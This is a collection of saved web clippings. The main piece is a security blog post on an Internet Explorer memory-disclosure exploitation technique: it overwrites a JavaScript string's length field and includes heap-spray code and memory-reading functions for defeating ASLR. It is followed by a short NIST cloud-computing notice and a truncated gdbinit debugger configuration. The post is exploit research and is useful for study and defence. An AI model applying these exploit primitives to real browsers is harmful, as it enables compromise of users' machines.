<img src='img/Temp2_8529.jpg' /> <img src='img/Temp2_8513.jpg' /> <img
src='img/Temp2_8533.jpg' /> <img src='img/Temp2_8520.jpg' />

<img src='img/Temp2_8490.jpg' alt='Share/Save' />

* * *
© 2009 Turnkey Linux - All rights reserved

About Us | Contact Us

# Ivan Fratric's Security Blog: Memory disclosure technique for Internet
Explorer

**Created:**| _6/10/2011 9:12:16 AM_  
---|---  
**Updated:**| _6/10/2011 9:12:34 AM_  
**Author:**| __  
**Tags:**| _windows environment Memory corruptions_  
  

### Memory disclosure technique for Internet Explorer

Memory disclosure became an important part of exploit development in the light
of various protection mechanisms. The ability to read memory holds multiple
benefits for exploit developers. The most obvious one is, of course, the
ability to circumvent ASLR - if we can read the content of the memory, we can
determine the address of an module, for example by reading a vtable pointer of
some object and subtracting a \(constant\) offset. However, memory disclosure
brings additional benefits as well. For example, many exploits rely on a
speciffic \(predictable\) memory layout. If we can read memory, we do not have
to make any guesses regarding the memory layout. Thus, memory disclosure can
also be used to improve the reliability of exploits and enable the exploit
development in conditions where the memory layout is unpredictable.

One technique for memory desclosure was used by Peter Vreugdenhil in the
Pwn2Own 2010 contest
\(http://vreugdenhilresearch.nl/Pwn2Own-2010-Windows7-InternetExplorer8.pdf\).
This technique consists of overwtiting a terminator of a string, which enables
reading the memory immediately after the end of the string. This was enough to
defeat ASLR, however, in general, it has a disadvantage that it can only read
the memory up to the next null-character \(that will be interpreted as the new
string terminator\). Additionally, there is no way to read past the end of
currnet memory block \(except if the next memory block begins immediately
after the current block, with no unreadable memory in between\).

The technique I propose here enables reading a much wider area of memory and
also reading memory in other memory blocks, with unreadeable memory in between
them. The technique itself is very simple, however, since I never saw anyone
using or describing it, I decided to describe it here. I successfully used
this technique in various exploits for Internet Explorer, most recently in an
exploit for a vulnerability in Internet Explorer 8 on Windows 7.

The main idea of this technique is to overwrite the DWORD holding the length
of a JavaScript string.

  

  

_**Background: JavaScript strings**_

  

JavaScript strings in Internet Explorer are stored in memory in the following
form:

  
  

[code]

    [string length in bytes][sequence of 16-bit characters]  
    
    
[/code]

  
  

So, for example, the string 'aaaa' will be stored as \(hex\):

  
  

[code]

    08 00 00 00 61 00 61 00 61 00 61 00  
    
    
[/code]

  
  

If we overwrite the DWORD holding the string length, we can peek at the memory
past the end of the string.

Assume we successfullty overwrote the length of string 'str'. By calling for
example

  
  

[code]

    mem = str.substr(offset/2,size/2);  
    
    
[/code]

  
  

we can obtain \(in a string 'mem' of size 'size'\) the content of memory at
address \[address of str\] + offset.

We can read any memory address provided that the offset+size is less than the
new string length. Thus, the address we can read up to is only limited by the
value we can overwrte string length with.

  

  

_**How to overwrite sting length?**_

  

The method we can use to overwrite string length will depend heavily on the
vulnerablity we are exploiting. Here, I'll go through some of the most common
vulnerability classes and show how they can be used to overwrite the length of
a string.

  

1\. Heap overflow: This is probably the simplest one. Allocate a string after
the buffer you can overwrite. By overwriting the memory past the buffer,
you'll also overwrite string length.

  

2\. Double free: This consists of several steps: a\) Free some object in
memory, b\) allocate a string in its place \(make sure it has the same initial
size as the deleted object\), c\) free the object again. Here we are
exploiting the way how malloc and free work in windows: after a block is
freed, its first DWORD will hold an address of the next free memory block of
the same size or, if no such block exists, it will point back to the heap
header. In both cases, the string lenght is overwritten with a large value.

  

3\. Use-after-free: See if this vulnerability can be used to make double free.
If it can, see point no. 2. If not, see if any property of the deleted object
can be changed. If yes, try to allocate strings in memory so that the length
of some string gets aligned with this property of the deleted object. Then
change said property. Another way is to try to leverage the vulnerability into
arbitrary memory address overwrite and see case no. 6.

  

4\. Stack overflow: This is a difficult one, as JavaScript strings are
allocated on the heap and not stack. However, note that stack overflow does
not mean you absolutely have to overwrite the return address of the current
function. Sometimes it is possible to overwrtite some address stored on the
stack in between the buffer and the return address of the curent function and
in this way leverage the the vulnerability into arbitrary memory address
overwrite. If you can accomplish this, see case no. 6.

  

5\. Integer overflow: This vulnerability class can be made to behave as either
a\) heap overflow \(integer calculations are used to calculate the size of the
buffer, in this case see case no. 1\) or b\) Arbitrary memory address
overwrite \(integer calculations are used to calculate the address of the
buffer, in this case see case no. 6\)

  

6\. Arbitrary memory address overwrite: Many of the previous vulnerability
classes \(and many others, such as loop condition bugs\) can be leveraged into
arbitrary memory address overwrite. This case will be discussed in detail
\(with example code\) in the next section.

  

  

_**Overwriting string length with arbitrary memory address overwrite**_

  

Suppose we have a JavaScript method OverwriteOffset\(offset\) that exploits
some vulnerability to overwrite a memory at the address \[address of some
object\]+offset with a large number. If we had a method
OverwriteAbsolute\(address\) that overwrites the address 'address' with a
large number, the analysis would be similar. However, since, in general, the
first case is more difficult \(as we don't know the absolute addresses\) it
will be discussed here.

The task in question is to use OverwriteOffset\(offset\) to overwrite the
length of some string. However lets allso suppose that we don't know \(and
can't guess\) the address \(nor the offset\) of any string.

In order to make things more predictable we will use heap spraying. So,
suppose we made a heap spray that is stored in an array 'spray'. Each element
of the array is a string with approximately 1MB size. Each such string will be
allocated in a separate memory block of size 0x100000. We can use the
following code to accomplish this.

  
  

[code]

    spray = new Array(200);  
    var pattern = unescape("%uAAAA%uAAAA");  
    while(pattern.length<(0x100000/2)) pattern+=pattern;  
    pattern = pattern.substr(0,0x100000/2-0x100);  
    for(var i=0;i<200;i++) {  
       spray[i] = [inttostr(i)+pattern].join("");  
    }  
    
    
[/code]

  
  

The inttostr function used above converts an integer into four-byte string.
This way, each string will contain its index in the first two characters.
We'll come back to why I did this later.

With a heap spray as above we'll have a large probability that
offset+0x100000\*100 will fall somewhere in the spray. We don't know exactly
where this address falls in our heap spray, however once we do the overwrite
we can easily determine that as follows:

  

1\. Overwrite a memory location somewhere in the sprayed part of the memory

2\. Find out which sting we overwrote by comparing each string with its
neighbor

3\. Find out which characters in the string we overwrote by comparing string
parts with what they originally contained. Use binary search and substr
methods to speed up the process.

4\. We can now calculate the offset of the string length. Overwrite the string
length.

  

In JavaScript code, this would look like

  
  

[code]

    var i;  
       
    //overwrite something in the heap spray  
    OverwriteOffset(0x100000*100);  
       
    //now find what and where exectly did we overwrite  
    readindex = -1;  
    for(i=1;i<200;i++) {  
       if(spray[0].substring(2,spray[0].length-2)!=spray[i].substring(2,spray[0].length-2)) {  
          readindex = i;  
          break;  
       }  
    }  
       
    if(readindex == -1) {  
       alert("Error overwriring first spray");  
       return 0;  
    }  
       
    //use binary search to find out the index of the character we overwrote  
    var start=2,len=spray[readindex].length-2,mid;  
    while(len>10) {  
       mid = Math.round(len/2);  
       mid = mid - mid%2;  
       if(spray[readindex].substr(start,mid) != spray[readindex-1].substr(start,mid)) {  
          len = mid;  
       } else {  
          start = start+mid;  
          len = len-mid;  
       }  
    }   
    for(i=start;i<(start+20);i=i+2) {  
       if(spray[readindex].substr(i,2) != spray[readindex-1].substr(i,2)) {  
          break;  
       }  
    }  
       
    //calculate the offset of the string length in memory  
    lengthoffset = 0x100000*100-i/2-1;  
    OverwriteOffset(lengthoffset);  
       
    //check if overwrite was successful  
    if(spray[readindex].length == spray[0].length) alert("error overwriting string length");  
       
    
    
[/code]

  
  
  

That's it, we can now read memory past the end of the string. For example, we
could use the following function to read a DWORD at address \[address of
string\]+offset

  
  

[code]

    function ReadMem(offset) {  
       return strtoint(spray[readindex].substr(offset/2,2));  
    }  
    
    
[/code]

  
  

However, we would also like to determine the absolute address of the string,
so instead of ofsets, we can provide absolute adresses to our ReadMem
function. This will be discussed in the next section.

  

  

_**Determining the absolute address of the string**_

  

To determine the absolute address of the string we'll exploit the fact that
each string in our heap spray is allocated in a separate memory block. We also
know the size of such memory blocks \(0x100000\) and can assume that the next
memory block comes immediately after the current one in memory.

Each memory block starts with a header. This header, among other things
contains the address of the previous and the next memory block. So, memory
block looks like:

  

  
  

[code]

    [address of the next memory block][address of the previous memory block][24 bytes of some other header data][data]  
       
    
    
[/code]

  
  

So if we assume that the strings are placed in blocks in the following order

  
  

[code]

    [block containing string 1][block containing string 2][block containing string 3] ...  
       
    
    
[/code]

  
  

we can determine the absolute address of the string in the following way, by
reading the previous block pointer of the block that immediately follows the
one that holds the ovrwritten string

  
  

[code]

    readaddr = ReadMem(0x100000-0x20)+0x24;  
    
    
[/code]

  
  
This technique relies on the correct order of memory blocks. This order will
usually be correct if the exploit is launched in a 'clean' Internte Explorer
process \(for example, if the exploit is opened in a new browser tab or
window\). However, in general, this does not have to be the case, so the
memory could look like, for example

  
  

[code]

    [block containing string 5][block containing string 7][block containing string 1] ...  
       
    
    
[/code]

  
  

However, although the order of blocks in memory may appear scrambled, the next
block pointer of block containing string n will still point to the block
containing string n+1. Similarly, the previous block pointer of block
containing string n will still point to the block containing string n-1. Now
remember that we made our heap spray so that each string contains its index in
the first two characters. We can exploit this information to determine the
correct absolute string address as follows:

  
  

[code]

    var indexarray = new Array();  
    var tmpaddr = 0;  
    var i,index;  
       
    index = ReadMem(tmpaddr);  
    indexarray.push(index);  
       
    while(1) {  
       tmpaddr += 0x100000;  
       index = readmem(tmpaddr);  
       for(i=0;i<indexarray.length;i++) {  
          if(indexarray[i]==index+1) {  
             readaddr = readmem(tmpaddr-0x24)-i*0x100000+0x24;  
             return 1;  
          } else if(indexarray[i]==index-1) {  
             readaddr = readmem(tmpaddr-0x20)-i*0x100000+0x24;  
             return 1;      
          }  
       }  
       indexarray.push(index);  
    }  
    
    
[/code]

  
  
  

Finally, we can construct a function ReadMemAbsolute that reads content of a
memory at absolute address as

  
  

[code]

    function ReadMemAbsolute(address) {  
       return ReadMem(readaddr-address);  
    }  
    
    
[/code]

  
  

Helper string/integer conversion functions used throughout the code are given
below.

  
  

[code]

    function strtoint(str) {  
       return str.charCodeAt(1)*0x10000 + str.charCodeAt(0);  
    }  
       
    function inttostr(num) {  
       return String.fromCharCode(num%65536,Math.floor(num/65536));  
    }
    
[/code]

# NIST.gov - Computer Security Division - Computer Security Resource Center

**Created:**| _5/22/2009 5:00:11 PM_  
---|---  
**Updated:**| _5/22/2009 5:00:17 PM_  
**Author:**| __  
**Tags:**| _LOLZ_  
  

# CLOUD COMPUTING

NIST is posting its working definition of cloud computing that serves as a
foundation for its upcoming publication on the topic \(available below\).
Computer scientists at NIST developed this draft definition in collaboration
with industry and government. It was developed as the foundation for a NIST
special publication that will cover cloud architectures, security, and
deployment strategies for the federal government. Comments on the definition
can be sent to the email address: "cloud" at "nist" with a dot "gov" at the
end.

NIST’s role in cloud computing is to promote the effective and secure use of
the technology within government and industry by providing technical guidance
and promoting standards.

**Draft NIST Working Definition of Cloud Computing v12**  
  
**Presentation on Effectively and Securely Using the Cloud Computing Paradigm
v18**

This material is public domain although attribution to NIST is requested. It
may be freely duplicated and translated.

# GDBinit file

**Created:**| _9/3/2009 9:37:14 AM_  
---|---  
**Updated:**| _9/18/2009 10:31:33 AM_  
**Author:**| __  
**Tags:**| _setup Debugging reversing Mac-hacking_  
  
\# INSTALL INSTRUCTIONS: save as ~/.gdbinit

\#

\# DESCRIPTION: A user-friendly gdb configuration file.

\#

\# REVISION : 7.1.7 \(05/08/2009\)

\#

\# CONTRIBUTORS: mammon\_, elaine, pusillus, mong, zhang le, l0kit,

\# truthix the cyberpunk, fG\!, gln

\#

\# FEEDBACK: https://www.reverse-engineering.net

\# The Linux Area

\# Topic: "+HCU's .gdbinit Version 7.1 -- humble announce"

\# http://reverse.put.as

\#

\# NOTES: 'help user' in gdb will list the commands/descriptions in this file

\# 'context on' now enables auto-display of context screen

\#

\# MAC OS X NOTES: If you are using this on Mac OS X, you must either attach
gdb to a process

\# or launch gdb without any options and then load the binary file you want to
analyse with "exec-file" option

\# If you load the binary from the command line, like $gdb binary-name, this
will not work as it should

\# For more information, read it here http://reverse.put.as/2008/11/28/apples-
gdb-bug/

\#

\# CHANGELOG:

\#

\# Version 7.1.7

\# Added the possibility to modify what's displayed with the context window.
You can change default options at the gdb options part. For example, kernel
debugging is much slower if the stack display is enabled...

\# New commands enableobjectivec, enablecpuregisters, enablestack,
enabledatawin and their disable equivalents \(to support realtime change of
default options\)

\# Fixed problem with the assemble command. I was calling /bin/echo which
doesn't support the -e option \! DUH \! Should have used bash internal
version.

\# Small fixes to colours...

\# New commands enablesolib and disablesolib . Just shortcuts for the stop-on-
solib-events fantastic trick \! Hey... I'm lazy ;\)

\# Fixed this: Possible removal of "u" command, info udot is missing in gdb
6.8-debian . Doesn't exist on OS X so bye bye \!\!\!

\# Displays affected flags in jump decisions

\#

\# Version 7.1.6

\# Added modified assemble command from Tavis Ormandy \(further modified to
work with Mac OS X\) \(shell commands used use full path name, working for
Leopard, modify for others if necessary\)

\# Renamed thread command to threads because thread is an internal gdb command
that allows to move between program threads

\#

\# Version 7.1.5 \(04/01/2009\)

\# Fixed crash on Leopard \! There was a If Else condition where the else had
no code and that made gdb crash on Leopard \(CRAZY\!\!\!\!\)

\# Better code indention

\#

\# Version 7.1.4 \(02/01/2009\)

\# Bug in show objective c messages with Leopard ???

\# Nop routine support for single address or range \(contribution from gln
\[ghalen at hack.se\]\)

\# Used the same code from nop to null routine

\#

\# Version 7.1.3 \(31/12/2008\)

\# Added a new command 'stepo'. This command will step a temporary breakpoint
on next instruction after the call, so you can skip over

\# the call. Did this because normal commands not always skip over \(mainly
with objc\_msgSend\)

\#

\# Version 7.1.2 \(31/12/2008\)

\# Support for the jump decision \(will display if a conditional jump will be
taken or not\)

\#

\# Version 7.1.1 \(29/12/2008\)

\# Moved gdb options to the beginning \(makes more sense\)

\# Added support to dump message being sent to msgSend \(easier to understand
what's going on\)

\#

\# Version 7.1

\# Fixed serious \(and old\) bug in dd and datawin, causing dereference of

\# obviously invalid address. See below:

\# gdb$ dd 0xffffffff

\# FFFFFFFF : Cannot access memory at address 0xffffffff

\#

\# Version 7.0

\# Added cls command.

\# Improved documentation of many commands.

\# Removed bp\_alloc, was neither portable nor usefull.

\# Checking of passed argument\(s\) in these commands:

\# contextsize-stack, contextsize-data, contextsize-code

\# bp, bpc, bpe, bpd, bpt, bpm, bhb,...

\# Fixed bp and bhb inconsistencies, look at \* signs in Version 6.2

\# Bugfix in bhb command, changed "break" to "hb" command body

\# Removed $SHOW\_CONTEXT=1 from several commands, this variable

\# should only be controlled globally with context-on and context-off

\# Improved stack, func, var and sig, dis, n, go,...

\# they take optional argument\(s\) now

\# Fixed wrong $SHOW\_CONTEXT assignment in context-off

\# Fixed serious bug in cft command, forgotten ~ sign

\# Fixed these bugs in step\_to\_call:

\# 1\) the correct logging sequence is:

\# set logging file > set logging redirect > set logging on

\# 2\) $SHOW\_CONTEXT is now correctly restored from $\_saved\_ctx

\# Fixed these bugs in trace\_calls:

\# 1\) the correct logging sequence is:

\# set logging file > set logging overwrite >

\# set logging redirect > set logging on

\# 2\) removed the "clean up trace file" part, which is not needed now,

\# stepi output is properly redirected to /dev/null

\# 3\) $SHOW\_CONTEXT is now correctly restored from $\_saved\_ctx

\# Fixed bug in trace\_run:

\# 1\) $SHOW\_CONTEXT is now correctly restored from $\_saved\_ctx

\# Fixed print\_insn\_type -- removed invalid semicolons\!, wrong value
checking,

\# Added TODO entry regarding the "u" command

\# Changed name from gas\_assemble to assemble\_gas due to consistency

\# Output from assemble and assemble\_gas is now similar, because i made

\# both of them to use objdump, with respect to output format \(AT&T|Intel\).

\# Whole code was checked and made more consistent, readable/maintainable.

\#

\# Version 6.2

\# Add global variables to allow user to control stack, data and code window
sizes

\# Increase readability for registers

\# Some corrections \(hexdump, ddump, context, cfp, assemble, gas\_asm, tips,
prompt\)

\#

\# Version 6.1-color-user

\# Took the Gentoo route and ran sed s/user/user/g

\#

\# Version 6.1-color

\# Added color fixes from

\# http://gnurbs.blogsome.com/2006/12/22/colorizing-mamons-gdbinit/

\#

\# Version 6.1

\# Fixed filename in step\_to\_call so it points to /dev/null

\# Changed location of logfiles from /tmp to ~

\#

\# Version 6

\# Added print\_insn\_type, get\_insn\_type, context-on, context-off commands

\# Added trace\_calls, trace\_run, step\_to\_call commands

\# Changed hook-stop so it checks $SHOW\_CONTEXT variable

\#

\# Version 5

\# Added bpm, dump\_bin, dump\_hex, bp\_alloc commands

\# Added 'assemble' by elaine, 'gas\_asm' by mong

\# Added Tip Topics for aspiring users ;\)

\#

\# Version 4

\# Added eflags-changing insns by pusillus

\# Added bp, nop, null, and int3 patch commands, also hook-stop

\#

\# Version 3

\# Incorporated elaine's if/else goodness into the hex/ascii dump

\#

\# Version 2

\# Radix bugfix by elaine

\#

\# TODO:

\# Add dump, append, set write, etc commands

\# Add more tips \!

  

  

\# \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_gdb
options\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

set confirm off

set verbose off

set prompt \033\[31mgdb$ \033\[0m

  

set output-radix 0x10

set input-radix 0x10

  

\# These make gdb never pause in its output

set height 0

set width 0

  

\# Display instructions in Intel format

set disassembly-flavor intel

  

set $SHOW\_CONTEXT = 1

set $SHOW\_NEST\_INSN = 0

  

set $CONTEXTSIZE\_STACK = 6

set $CONTEXTSIZE\_DATA = 8

set $CONTEXTSIZE\_CODE = 8

  

\# set to 0 to remove display of objectivec messages \(default is 1\)

set $SHOWOBJECTIVEC = 1

\# set to 0 to remove display of cpu registers \(default is 1\)

set $SHOWCPUREGISTERS = 1

\# set to 1 to enable display of stack \(default is 0\)

set $SHOWSTACK = 0

\# set to 1 to enable display of data window \(default is 0\)

set $SHOWDATAWIN = 0

  

  

\# \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_end gdb
options\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

  

\# \_\_\_\_\_\_\_\_\_\_\_\_\_\_window size control\_\_\_\_\_\_\_\_\_\_\_

define contextsize-stack

if $argc \!= 1

help contextsize-stack

else

set $CONTEXTSIZE\_STACK = $arg0

end

end

document contextsize-stack

Set stack dump window size to NUM lines.

Usage: contextsize-stack NUM

end

  

  

define contextsize-data

if $argc \!= 1

help contextsize-data

else

set $CONTEXTSIZE\_DATA = $arg0

end

end

document contextsize-data

Set data dump window size to NUM lines.

Usage: contextsize-data NUM

end

  

  

define contextsize-code

if $argc \!= 1

help contextsize-code

else

set $CONTEXTSIZE\_CODE = $arg0

end

end

document contextsize-code

Set code window size to NUM lines.

Usage: contextsize-code NUM

end

  

  

  

  

\# \_\_\_\_\_\_\_\_\_\_\_\_\_breakpoint aliases\_\_\_\_\_\_\_\_\_\_\_\_\_

define bpl

info breakpoints

end

document bpl

List all breakpoints.

end

  

define bp

if $argc \!= 1

help bp

else

break $arg0

end

end

document bp

Set breakpoint.

Usage: bp LOCATION

LOCATION may be a line number, function name, or "\*" and an address.

  

To break on a symbol you must enclose symbol name inside "".

Example:

bp "\[NSControl stringValue\]"

Or else you can use directly the break command \(break \[NSControl
stringValue\]\)

end

  

  

define bpc

if $argc \!= 1

help bpc

else

clear $arg0

end

end

document bpc

Clear breakpoint.

Usage: bpc LOCATION

LOCATION may be a line number, function name, or "\*" and an address.

end

  

  

define bpe

if $argc \!= 1

help bpe

else

enable $arg0

end

end

document bpe

Enable breakpoint with number NUM.

Usage: bpe NUM

end

  

  

define bpd

if $argc \!= 1

help bpd

else

disable $arg0

end

end

document bpd

Disable breakpoint with number NUM.

Usage: bpd NUM

end

  

  

define bpt

if $argc \!= 1

help bpt

else

tbreak $arg0

end

end

document bpt

Set a temporary breakpoint.

Will be deleted when hit\!

Usage: bpt LOCATION

LOCATION may be a line number, function name, or "\*" and an address.

end

  

  

define bpm

if $argc \!= 1

help bpm

else

awatch $arg0

end

end

document bpm

Set a read/write breakpoint on EXPRESSION, e.g. \*address.

Usage: bpm EXPRESSION

end

  

  

define bhb

if $argc \!= 1

help bhb

else

hb $arg0

end

end

document bhb

Set hardware assisted breakpoint.

Usage: bhb LOCATION

LOCATION may be a line number, function name, or "\*" and an address.

end

  

  

  

  

\# \_\_\_\_\_\_\_\_\_\_\_\_\_\_process information\_\_\_\_\_\_\_\_\_\_\_\_

define argv

show args

end

document argv

Print program arguments.

end

  

  

define stack

if $argc == 0

info stack

end

if $argc == 1

info stack $arg0

end

if $argc > 1

help stack

end

end

document stack

Print backtrace of the call stack, or innermost COUNT frames.

Usage: stack <COUNT>

end

  

  

define frame

info frame

info args

info locals

end

document frame

Print stack frame.

end

  

  

define flags

\# OF \(overflow\) flag

if \(\($eflags >> 0xB\) & 1\)

printf "O "

set $\_of\_flag = 1

else

printf "o "

set $\_of\_flag = 0

end

if \(\($eflags >> 0xA\) & 1\)

printf "D "

else

printf "d "

end

if \(\($eflags >> 9\) & 1\)

printf "I "

else

printf "i "

end

if \(\($eflags >> 8\) & 1\)

printf "T "

else

printf "t "

end

\# SF \(sign\) flag

if \(\($eflags >> 7\) & 1\)

printf "S "

set $\_sf\_flag = 1

else

printf "s "

set $\_sf\_flag = 0

end

\# ZF \(zero\) flag

if \(\($eflags >> 6\) & 1\)

printf "Z "

set $\_zf\_flag = 1

else

printf "z "

set $\_zf\_flag = 0

end

if \(\($eflags >> 4\) & 1\)

printf "A "

else

printf "a "

end

\# PF \(parity\) flag

if \(\($eflags >> 2\) & 1\)

printf "P "

set $\_pf\_flag = 1

else

printf "p "

set $\_pf\_flag = 0

end

\# CF \(carry\) flag

if \($eflags & 1\)

printf "C "

set $\_cf\_flag = 1

else

printf "c "

set $\_cf\_flag = 0

end

printf "\n"

end

document flags

Print flags register.

end

  

  

define eflags

printf " OF <%d> DF <%d> IF <%d> TF <%d>",\

\(\($eflags >> 0xB\) & 1\), \(\($eflags >> 0xA\) & 1\), \

\(\($eflags >> 9\) & 1\), \(\($eflags >> 8\) & 1\)

printf " SF <%d> ZF <%d> AF <%d> PF <%d> CF <%d>\n",\

\(\($eflags >> 7\) & 1\), \(\($eflags >> 6\) & 1\),\

\(\($eflags >> 4\) & 1\), \(\($eflags >> 2\) & 1\), \($eflags & 1\)

printf " ID <%d> VIP <%d> VIF <%d> AC <%d>",\

\(\($eflags >> 0x15\) & 1\), \(\($eflags >> 0x14\) & 1\), \

\(\($eflags >> 0x13\) & 1\), \(\($eflags >> 0x12\) & 1\)

printf " VM <%d> RF <%d> NT <%d> IOPL <%d>\n",\

\(\($eflags >> 0x11\) & 1\), \(\($eflags >> 0x10\) & 1\),\

\(\($eflags >> 0xE\) & 1\), \(\($eflags >> 0xC\) & 3\)

end

document eflags

Print eflags register.

end

  

  

define reg

printf " "

echo \033\[32m

printf "EAX:"

echo \033\[0m

printf " %08X ", $eax

echo \033\[32m

printf "EBX:"

echo \033\[0m

printf " %08X ", $ebx

echo \033\[32m

printf "ECX:"

echo \033\[0m

printf " %08X ", $ecx

echo \033\[32m

printf "EDX:"

echo \033\[0m

printf " %08X ", $edx

echo \033\[1m\033\[4m\033\[31m

flags

echo \033\[0m

printf " "

echo \033\[32m

printf "ESI:"

echo \033\[0m

printf " %08X ", $esi

echo \033\[32m

printf "EDI:"

echo \033\[0m

printf " %08X ", $edi

echo \033\[32m

printf "EBP:"

echo \033\[0m

printf " %08X ", $ebp

echo \033\[32m

printf "ESP:"

echo \033\[0m

printf " %08X ", $esp

echo \033\[32m

printf "EIP:"

echo \033\[0m

printf " %08X\n ", $eip

echo \033\[32m

printf "CS:"

echo \033\[0m

printf " %04X ", $cs

echo \033\[32m

printf "DS:"

echo \033\[0m

printf " %04X ", $ds

echo \033\[32m

printf "ES:"

echo \033\[0m

printf " %04X ", $es

echo \033\[32m

printf "FS:"

echo \033\[0m

printf " %04X ", $fs

echo \033\[32m

printf "GS:"

echo \033\[0m

printf " %04X ", $gs

echo \033\[32m

printf "SS:"

echo \033\[0m

printf " %04X", $ss

echo \033\[0m

\# display conditional jump routine

dumpjump

printf "\n"

end

document reg

Print CPU registers.

end

  

  

define func

if $argc == 0

info functions

end

if $argc == 1

info functions $arg0

end

if $argc > 1

help func

end

end

document func

Print all function names in target, or those matching REGEXP.

Usage: func <REGEXP>

end

  

  

define var

if $argc == 0

info variables

end

if $argc == 1

info variables $arg0

end

if $argc > 1

help var

end

end

document var

Print all global and static variable names \(symbols\), or those matching
REGEXP.

Usage: var <REGEXP>

end

  

  

define lib

info sharedlibrary

end

document lib

Print shared libraries linked to target.

end

  

  

define sig

if $argc == 0

info signals

end

if $argc == 1

info signals $arg0

end

if $argc > 1

help sig

end

end

document sig

Print what debugger does when program gets various signals.

Specify a SIGNAL as argument to print info on that signal only.

Usage: sig <SIGNAL>

end

  

  

define threads

info threads

end

document threads

Print threads in target.

end

  

  

define dis

if $argc == 0

disassemble

end

if $argc == 1

disassemble $arg0

end

if $argc == 2

disassemble $arg0 $arg1

end

if $argc > 2

help dis

end

end

document dis

Disassemble a specified section of memory.

Default is to disassemble the function surrounding the PC \(program counter\)

of selected frame. With one argument, ADDR1, the function surrounding this

address is dumped. Two arguments are taken as a range of memory to dump.

Usage: dis <ADDR1><ADDR2>

end

  

  

  

  

\# \_\_\_\_\_\_\_\_\_\_hex/ascii dump an address\_\_\_\_\_\_\_\_\_

define ascii\_char

if $argc \!= 1

help ascii\_char

else

\# thanks elaine :\)

set $\_c = \*\(unsigned char \*\)\($arg0\)

if \($\_c < 0x20 || $\_c > 0x7E\)

printf "."

else

printf "%c", $\_c

end

end

end

document ascii\_char

Print ASCII value of byte at address ADDR.

Print "." if the value is unprintable.

Usage: ascii\_char ADDR

end

  

  

define hex\_quad

if $argc \!= 1

help hex\_quad

else

printf "%02X %02X %02X %02X %02X %02X %02X %02X", \

\*\(unsigned char\*\)\($arg0\), \*\(unsigned char\*\)\($arg0 + 1\), \

\*\(unsigned char\*\)\($arg0 + 2\), \*\(unsigned char\*\)\($arg0 + 3\), \

\*\(unsigned char\*\)\($arg0 + 4\), \*\(unsigned char\*\)\($arg0 + 5\), \

\*\(unsigned char\*\)\($arg0 + 6\), \*\(unsigned char\*\)\($arg0 + 7\)

end

end

document hex\_quad

Print eight hexadecimal bytes starting at address ADDR.

Usage: hex\_quad ADDR

end

  

  

define hexdump

if $argc \!= 1

help hexdump

else

echo \033\[1m

printf "%08X : ", $arg0

echo \033\[0m

hex\_quad $arg0

echo \033\[1m

printf " \- "

echo \033\[0m

hex\_quad $arg0+8

printf ""

echo \033\[1m

ascii\_char $arg0+0x0

ascii\_char $arg0+0x1

ascii\_char $arg0+0x2

ascii\_char $arg0+0x3

ascii\_char $arg0+0x4

ascii\_char $arg0+0x5

ascii\_char $arg0+0x6

ascii\_char $arg0+0x7

ascii\_char $arg0+0x8

ascii\_char $arg0+0x9

ascii\_char $arg0+0xA

ascii\_char $arg0+0xB

ascii\_char $arg0+0xC

ascii\_char $arg0+0xD

ascii\_char $arg0+0xE

ascii\_char $arg0+0xF

echo \033\[0m

printf "\n"

end

end

document hexdump

Display a 16-byte hex/ASCII dump of memory at address ADDR.

Usage: hexdump ADDR

end

  

  

  

  

\# \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_data
window\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

define ddump

if $argc \!= 1

help ddump

else

echo \033\[34m

printf "\[%04X:%08X\]", $ds, $data\_addr

echo \033\[34m

printf "\------------------------"

printf "\-----------------------------------"

echo \033\[1;34m

printf "\[data\]\n"

echo \033\[0m

set $\_count = 0

while \($\_count < $arg0\)

set $\_i = \($\_count \* 0x10\)

hexdump $data\_addr+$\_i

set $\_count++

end

end

end

document ddump

Display NUM lines of hexdump for address in $data\_addr global variable.

Usage: ddump NUM

end

  

  

define dd

if $argc \!= 1

help dd

else

if \(\(\($arg0 >> 0x18\) == 0x40\) || \(\($arg0 >> 0x18\) == 0x08\) ||
\(\($arg0 >> 0x18\) == 0xBF\)\)

set $data\_addr = $arg0

ddump 0x10

else

printf "Invalid address: %08X\n", $arg0

end

end

end

document dd

Display 16 lines of a hex dump of address starting at ADDR.

Usage: dd ADDR

end

  

  

define datawin

if \(\(\($esi >> 0x18\) == 0x40\) || \(\($esi >> 0x18\) == 0x08\) || \(\($esi
>> 0x18\) == 0xBF\)\)

set $data\_addr = $esi

else

if \(\(\($edi >> 0x18\) == 0x40\) || \(\($edi >> 0x18\) == 0x08\) || \(\($edi
>> 0x18\) == 0xBF\)\)

set $data\_addr = $edi

else

if \(\(\($eax >> 0x18\) == 0x40\) || \(\($eax >> 0x18\) == 0x08\) || \(\($eax
>> 0x18\) == 0xBF\)\)

set $data\_addr = $eax

else

set $data\_addr = $esp

end

end

end

ddump $CONTEXTSIZE\_DATA

end

document datawin

Display valid address from one register in data window.

Registers to choose are: esi, edi, eax, or esp.

end

  

\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

\#\#\#\#\# ALERT ALERT ALERT \#\#\#\#\#\#\#\#

\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

\# Huge mess going here :\) HAHA \#

\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

define dumpjump

\#\# grab the first two bytes from the instruction so we can determine the
jump instruction

set $\_byte1 = \*\(unsigned char \*\)$pc

set $\_byte2 = \*\(unsigned char \*\)\($pc+1\)

\#\# and now check what kind of jump we have \(in case it's a jump
instruction\)

\#\# I changed the flags routine to save the flag into a variable, so we don't
need to repeat the process :\) \(search for "define flags"\)

  

\#\# JO: 0x70 or 0x0F80 \(OF = 1\)

if \($\_byte1 == 0x70 || \($\_byte1 == 0x0F && $\_byte2 == 0x80\)\)

\# OF = 1

if \($\_of\_flag == 1\)

echo \033\[31m

printf " Jump is taken \(O flag\)"

else

\# OF = 0

echo \033\[31m

printf " Jump is NOT taken \(o flag\)"

end

end

\#\# JNO: 0x71 or 0x0F81 \(OF = 0\)

